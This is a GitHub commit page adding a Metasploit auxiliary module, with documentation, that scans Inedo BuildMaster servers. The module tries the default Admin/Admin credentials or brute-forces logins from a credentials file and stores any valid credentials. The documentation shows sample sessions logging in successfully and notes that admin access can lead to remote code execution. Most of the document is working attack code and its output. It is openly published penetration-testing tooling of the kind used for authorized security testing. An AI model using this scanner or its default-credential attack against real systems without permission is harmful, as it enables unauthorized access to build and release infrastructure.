Skip to content

Commit 273d49b

Browse files
committed
Land rapid7#8891 login scanner for Inedo BuildMaster
2 parents 4d1e51a + e6c4a87 commit 273d49b

File tree

2 files changed

+155
-0
lines changed

2 files changed

+155
-0
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
## Description
2+
3+
This module allows you to authenticate to Inedo BuildMaster, an application release automation tool.
4+
The default credentials for BuildMaster are Admin/Admin. Gaining privileged access to BuildMaster can lead to remote code execution.
5+
6+
## Vulnerable Application
7+
8+
[Inedo's Windows installation guide](http://inedo.com/support/documentation/buildmaster/installation/windows-guide)
9+
10+
[Inedo website](http://inedo.com/)
11+
12+
## Verification Steps
13+
14+
1. Do: ```use auxiliary/scanner/http/buildmaster_login```
15+
2. Do: ```set RHOSTS [IP]```
16+
3. Do: ```set RPORT [PORT]```
17+
4. Do: Set credentials
18+
5. Do: ```run```
19+
6. You should see the module attempting to log in.
20+
21+
## Scenarios
22+
23+
### Attempt to login with the default credentials.
24+
25+
```
26+
msf > use auxiliary/scanner/http/buildmaster_login
27+
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
28+
RHOSTS => 10.0.0.39
29+
msf auxiliary(buildmaster_login) > run
30+
31+
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
32+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
33+
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
34+
[*] Scanned 1 of 1 hosts (100% complete)
35+
[*] Auxiliary module execution completed
36+
msf auxiliary(buildmaster_login) >
37+
```
38+
39+
### Brute force with credentials from file.
40+
41+
```
42+
msf > use auxiliary/scanner/http/buildmaster_login
43+
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
44+
RHOSTS => 10.0.0.39
45+
msf auxiliary(buildmaster_login) > set USERPASS_FILE ~/BuildMasterCreds.txt
46+
USERPASS_FILE => ~/BuildMasterCreds.txt
47+
msf auxiliary(buildmaster_login) > run
48+
49+
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
50+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"test"
51+
[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"test"
52+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"wrong"
53+
[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"wrong"
54+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
55+
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
56+
[*] Scanned 1 of 1 hosts (100% complete)
57+
[*] Auxiliary module execution completed
58+
msf auxiliary(buildmaster_login) >
59+
```
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Auxiliary::AuthBrute
9+
include Msf::Auxiliary::Report
10+
include Msf::Auxiliary::Scanner
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Inedo BuildMaster Login Scanner',
15+
'Description' => %{
16+
This module will attempt to authenticate to BuildMaster. There is a default user 'Admin'
17+
which has the default password 'Admin'.
18+
},
19+
'Author' => [ 'James Otten <jamesotten1[at]gmail.com>' ],
20+
'License' => MSF_LICENSE,
21+
'DefaultOptions' => { 'VERBOSE' => true })
22+
)
23+
24+
register_options(
25+
[
26+
Opt::RPORT(81),
27+
OptString.new('USERNAME', [false, 'Username to authenticate as', 'Admin']),
28+
OptString.new('PASSWORD', [false, 'Password to authenticate with', 'Admin'])
29+
]
30+
)
31+
end
32+
33+
def run_host(ip)
34+
return unless buildmaster?
35+
36+
each_user_pass do |user, pass|
37+
do_login(user, pass)
38+
end
39+
end
40+
41+
def buildmaster?
42+
begin
43+
res = send_request_cgi('uri' => '/log-in')
44+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
45+
print_error("#{peer} - HTTP Connection Failed")
46+
return false
47+
end
48+
49+
if res && res.code == 200 && res.body.include?('BuildMaster_Version')
50+
version = res.body.scan(%r{<span id="BuildMaster_Version">(.*)</span>}).flatten.first
51+
print_good("#{peer} - Identified BuildMaster #{version}")
52+
return true
53+
else
54+
print_error("#{peer} - Application does not appear to be BuildMaster")
55+
return false
56+
end
57+
end
58+
59+
def login_succeeded?(res)
60+
if res && res.code == 200
61+
body = JSON.parse(res.body)
62+
return body.key?('succeeded') && body['succeeded']
63+
end
64+
false
65+
rescue
66+
false
67+
end
68+
69+
def do_login(user, pass)
70+
print_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
71+
begin
72+
res = send_request_cgi(
73+
{
74+
'uri' => '/0x44/BuildMaster.Web.WebApplication/Inedo.BuildMaster.Web.WebApplication.Pages.LogInPage/LogIn',
75+
'method' => 'POST',
76+
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
77+
'vars_post' =>
78+
{
79+
'userName' => user,
80+
'password' => pass
81+
}
82+
}
83+
)
84+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
85+
vprint_error("#{peer} - HTTP Connection Failed...")
86+
return :abort
87+
end
88+
89+
if login_succeeded?(res)
90+
print_good("SUCCESSFUL LOGIN - #{peer} - #{user.inspect}:#{pass.inspect}")
91+
store_valid_credential(user: user, private: pass)
92+
else
93+
print_error("FAILED LOGIN - #{peer} - #{user.inspect}:#{pass.inspect}")
94+
end
95+
end
96+
end

0 commit comments

Comments
 (0)